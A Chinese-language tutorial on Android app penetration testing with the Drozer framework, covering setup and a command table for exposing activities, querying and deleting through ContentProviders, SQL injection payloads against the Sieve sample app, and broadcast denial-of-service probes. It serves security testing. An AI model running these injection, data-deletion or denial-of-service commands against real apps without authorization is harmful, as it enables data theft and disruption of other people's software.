Drozer安全渗透测试

一、介绍

Drozer是一款综合的安全评估和攻击的android框架,据 产品介绍 里说,Drozer可以全面评估app的安全性,并帮助团队把app的安全风险保持在可控范围内。 

二、环境搭建

     2.1 前期准备工作

      准备以下环境以及工具的安装,确保配置正确

编号

工具名称

备注

1

JDK1.7以上版本

配置环境变量

2

adb

配置环境变量

3

drozer

1.Win 7安装Drozer
2.手机上安装agent.apk

4

Win 7

操作系统

5

Android手机

 

6

Android USB数据线

确保PC机USB接口已放开

7

Android SDK

配置Android SDK Path环境变量

 

注:1. 安装完后成,需要检查,Java与adb配置是否正确

2. 编写drozer需要JAVA的配置文件,并将该文件放到C:\Users\xxxxx 目录下,并文件命令为:. drozer_config   配置文件的内容如下:

[executables]

java=D:\Program Files (x86)\Java\jdk1.8.0_45\bin\java.exe

javac=D:\Program Files (x86)\Java\jdk1.8.0_45\bin\javac.exe

dx=G:\Android\android-sdk_r18-windows\android-sdk-windows\platform-tools\dx.bat

以上路径根据实际情况填写。

附录:

 

  2.2 drozer链接操作:

     PC与手机进行链接步骤如下:

  1. 在windows上安装好drozer.exe;在手机安装下载包中的Agent.apk的包。在手机上安装好的drozer图标为:

2、打开CMD并进入drozer安装目录(C:\drozer)在PC端开启转发  adb forward tcp:31415 tcp:31415

3、在手机端打开安装好的apk程序,并且启动服务,详情如下图:

                    

 

4、在PC上开启drozer.bat,开启Drozer console,使用命令:drozer console connect 在出现Android机器人图片的时候,说明已链接成功。

 

三、Drozer运行命令的使用以及其解释:

编号 命令 作用 关键字搜索
获取APK信息
1 run app.package.list -f 过滤信息> D:\packagelist list命令用以列出所有包含“example”的手机中已安装package名称,记住目标应用的完整名称,即,查看终端设备所有APK信息  
2 run app.package.info -a com.testapp_package > D:\package.txt 获取app安装包信息  
3 run app.package.attacksurface com.testapp_package> D:\attacksurface.txt 查找APK存在的攻击面(activity、contentprovider、service)  
绕过Activity鉴权
1 run app.activity.info -a com.testapp_package> D:\activity.txt 收集Activity的信息进行收集,查找暴露的Activity 搜索APP包名检查
2 run app.activity.start–-component com.testapp_package You_want_to_start_activity 构造intent信息绕过鉴权直接运行Activity  
利用ContentProvider攻击(数据泄露)
1 run app.provider.info -p null (或-a com.testapp_package)> D:\provider.txt APP应用的Content Provider的访问权限控制合法检查或者:收集ContentProvider的信息进行收集,查找暴露的ContentProvider 搜索APP包名检查
2 run scanner.provider.finduris -a com.testapp_package 发现暴露的ContentProvider后,可以对数据库进行探测。探测出可以查询的URI

所查询到的URL将应用到其它URL红

色字体的URL标记中 

3 run app.provider.query URI --vertical
使用示例:run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
查看数据库中的内容,查询到数据说明存在漏洞,如  
4 run app.provider.insert URI对应数据表中的字段 对数据库表进行插入操作  
5 run app.provider.delete URI–-selection “条件” 对数据库表进行删除操作  
SQL注入
1 run scanner.provider.injection -a com.testapp_package> D:\injection.txt 检查APP是否存在SQL注入风险(搜索Injection关键字) Injection
2 run app.provider.query URI–-projection “ ‘ ”
使用示例:run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
查看URI对应的数据库表;报错则说明存在SQL注入。  
3 run app.provider.query URI–-selection “ ‘ ”
使用示例:run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
 
4 run app.provider.query URI–projection “* From SQLITE_MASTER WHERE type=‘table’;--”
使用示例:run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
  列出所有表,可以通过返回的错误信息展示出改Content准备执行的语句,获取数据库中的信息;   
5 run app.provider.query URI–-selection “_id = ?”  sql注入  
6 run scanner.provider.traversal -a com.mwr.example.sieve 同时检测SQL注入和目录遍历  
 intent组件触发(拒绝服务、权限提升)
利用intent对组件的触发一般有两类漏洞,一类是拒绝服务,一类的权限提升。拒绝服务危害性比较低,更多的只是影响应用服务质量;而权限提升将使得没有该权限的应用可以通过intent触发拥有该权限的应用,从而帮助其完成越权行为。
1.查看暴露的广播组件信息
1 run app.broadcast.info > D:\broadcaseinfo.txt 获取broadcast receivers信息  
2 run app.broadcast.send --component 包名 --action android.intent.action.XXX  
2.尝试拒绝服务攻击检测,向广播组件发送不完整intent(空action或空extras):
1 run app.broadcast.send --component 包名 ReceiverName 空action  
run app.broadcast.send --component 包名 ReceiverName  
2 run app.broadcast.send --action android.intent.action.XXX 空extras  
其它信息
1 run app.package.debuggable > D:\debug.txt 检查APP中的Android Manifest.xml文件中的debuggable属性 搜索APP包名检查
2 run app.package.launchintent > D:\launchintent.txt 获取APP运行信息  
3 run app.package.list -f 过滤信息> D:\packagelist 包列表  
4 run app.package.manifest  com.testapp_package> D:\manifest.txt 查看Manifest.xml  
5 run app.package.shareduid > D:\shareduid.txt 普通应用UserId大于1000,系统应用UserId为1000;同时不存在shareuid为1000的应用 搜索包名
6 run app.service.info -a com.testapp_package > D:\service.txt 扫描对外开放的services